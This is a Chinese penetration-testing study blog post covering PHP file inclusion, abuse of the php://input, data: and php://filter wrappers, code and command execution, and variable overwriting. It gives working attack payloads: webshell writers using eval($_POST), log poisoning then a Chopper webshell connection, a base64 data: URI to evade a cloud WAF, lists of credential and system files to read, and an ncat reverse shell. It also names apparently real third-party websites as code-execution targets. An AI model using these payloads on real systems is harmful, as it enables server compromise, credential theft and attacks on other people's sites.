满天星
Fork me on GitHub

渗透测试学习笔记22-其他漏洞

php相关漏洞
jsp相关漏洞
其他漏洞汇总

php相关漏洞:
    文件包含漏洞
    php://input等伪协议利用
    代码执行漏洞
    变量覆盖漏洞

    文件包含:
    程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件
    而无需再次编写,这种文件调用的过程一般被称为包含.
    程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用.
    但正是由于这种灵活性,从而导致客户端可以调用一个恶意软件,造成文件包含漏洞.
    几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多.
    而在JSP,ASP,ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端.
    在PHP中经常出现包含漏洞,但这并不意味着其他语言不存在.
常见文件包含函数:
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和require_once():若文件中代码已被包含则不会再次包含.
reg:include("aaa.php")

利用条件:
程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件.
用户能够控制该动态变量
漏洞危害:
执行任意代码
包含恶意文件控制网站
甚至控制服务器

漏洞分类:
本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码.
上传图片马,然后包含
读敏感文件,读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
远程文件包含:可以直接执行任意代码
要保证php.ini中allow_url_fopen和allow_url_include要为On

漏洞挖掘:
通过白盒代码审计
黑盒工具挖掘
awvs appscan burp
kali w3af

本地包含漏洞实例代码:
<?php
$test=$_GET['c'];
include($test);
?>
test.txt内容为<?php phpinfo()?>
访问的话就用?c=c:\windows\...
包含之后,.txt文件会以php形式执行

本地包含漏洞注意事项:
相对路径:
../../../etc/passwd
%00截断包含(PHP<5.3.4)
<?php
include"$_GET['x'].".php";
echo"$_GET['x'].".php";
?>
magic_quotes_gps=off才可以,否则%00会被转义

Linux
vi a.php
<?php
$test=$_GET['x'];
include($test);
?>


利用技巧:
上传图片马,马包含的代码为:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>,
http://www.cracer.com/xx.php?page=uploadfile/x.jpg时,
将会在fi这个文件夹下生成shell.php,内容为<?php eval($_POST[x]);?>

读敏感文件
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //iis配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //MySQL root 存root账号密码的
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_ras
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/mycnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/proc/config.gz

包含日志(主要是得到日志的路径)
读日志路径:
文件包含漏洞读取apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
默认位置/var/log/httpd/access_log  error_log

日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo();?>时,<?php phpinfo();?>也会被记录在日志里,也可以插入到User-Agent
可以通过Burp Suite来绕过编码.

reg:
制作错误,写入一句话:
http://127.0.0.1/ekucms/index.php?s=my/show/id/{`eval($_POST['x'])}
写入日志之后,输入日志url,然后菜刀连url

读php文件
直接包含php文件时会被解析,不能看到源码,可以用封装协议读取:
?page=php://filter/read=convert.base64-encode/resource=config.php
访问上述url后会返回config.php中经过Base64加密后的字符串,解密即可得到源码..

使用PHP封装协议
allow_url_include=On时,若执行http://www.xxx.com/index.php?page=php://input,并且提交数据<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['xxxser']);?>")?>
结果将在index.php所在文件下生成一句话文件shell.php


远程包含
注:远程打的文件名不能为php可解析的扩展名,allow_url_fopen和allow_url_include为On是必须的.
若在a.txt写入<?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[xxx]);?>")?>,可直接写shell
远程包含是以php形式打开的

php://-访问各个输入/输出流
php提供了一些杂项输入/输出(IO)流,允许访问php的输入输出流,标准输入输出和错误描述符,内存中,磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器.

php://input
是个可以访问请求的原始数据的只读流.POST请求的情况下,最好使用php://input来代替$HTTP_RAW_POST_DATA,因为它不依赖于特定的php.ini指令.而且,这样的情况下,$HTTP_RAW_POST_DATA默认没有填充,比激活always_populate_raw_post_data潜在需要更少的内存.enctype="multipart/form-data"的时候php://input是无效的.

利用php://input插入一句话木马
<?php
//$data=file_get_contents('php://input');
//echo $data."<br/>";
@eval(file_get_contents('php://input'));//eval是执行的意思
?>
php://input是用来接收post数据

漏洞分析->Mantra->url
在POST中插入数据
system('ncat -e /bin/bash localhost 1234');
测试一下nc反弹shell的利用,成功

php://input将文件包含漏洞变成代码执行漏洞
文件中存在包含漏洞的代码
<?php @include($_GET["file"])?>
使用php://input,将执行代码通过Firefox的hacker在POST data中提交
<?php system('ifconfig');?>

data URI schema
将文件包含漏洞变成代码执行漏洞并绕过360网站卫士的WAF
在实施的时候,我突然想到,文件包含漏洞,在读取php文件时,是不能显示文件内容的.
而很多情况,我们是急需读取php格式的配置文件,例如:
dedecms数据库配置文件data/common.inc.php
discuz全局配置文件config/config_global.php
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php

读取指定文件FileInclude.php的代码
<?php system('cat/var/www/FileInclude.php')?>
然后将攻击代码转化成data:URI
data:text/plain,<?php system('cat/var/www/FileInclude.php')?>

注意,我们看到转化后的GET请求的参数中包含<?的标记,在遇到有些WAF,包括云WAF(例如360网站卫士),就会将其视为攻击代码,阻挡下来.于是我们需要做一下编码处理
data:text/plain;base64,[攻击代码的base64编码]

php://filter在文件包含漏洞中的利用
读取php文件源码内容
用法:
php://filter/read=convert.base64-encode/resource=[文件路径]
将得到的base64的数据解码得出php文件内容


代码执行漏洞:

代码执行函数
php中可以执行代码的函数.如eval(),assert(),'',system(),exec(),shell_exec(),passthru(),escapeshellcmd(),pcntl_exec()等.
reg:<?php eval($_POST[cc123])?>
@是错误抑制符,防止小错误的,写不写都一样

动态代码执行:
<?php
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
?>
http://127.0.0.1/x.php?a=system&b=ipconfig
a=assert&b=phpinfo();
执行系统命令ipconfig
可变变量是可以绕狗的

命令执行函数:
在php中您可以使用下列5个函数来执行外部的应用程序或函数
1.system:执行一个外部的应用程序并显示输出的结果
2.exec:执行一个外部的应用程序
3.passthru:执行一个UNIX系统命令并显示原始的输出
4.shell_exec:执行shell命令并返回输出的结果的字符串
5."''"运算符:与shell_exec函数的功能相同

system函数使用
<?
$cmd=$_GET["cmd"];
echo"<pre>";
system($cmd);
echo"</pre>";
?>
http://127.0.0.1/sys.php?cmd=ipconfig

shell_exec函数
<?php
$x=$_GET['x'];
echo shell_exec($x);
?>
http://127.0.0.1/x.php?x=ipconfig

代码执行 实例
http://www.77dvd.com/
http://www.bgdyhd.com/
http://www.bgdyhd.com/search.php?searchtype=5&tid=&area=phpinfo()

海洋cms代码漏洞


变量覆盖漏洞
产生:
变量如果未初始化,且能被用户所控制
在php中,若register_globals为on时尤其严重
此为全局变量覆盖漏洞
当register_global=ON时,变量来源可能是各个不同的地方,比如页面的表单,Cookie等.

<?php
$auth='0';
extract($_GET);
if($auth==1){
echo"登录成功!";
}else{
echo"您还没有登录,请重新登录!";
}
?>
http://127.0.0.1/bian.php?auth=1
-------------本文结束期待您的评论-------------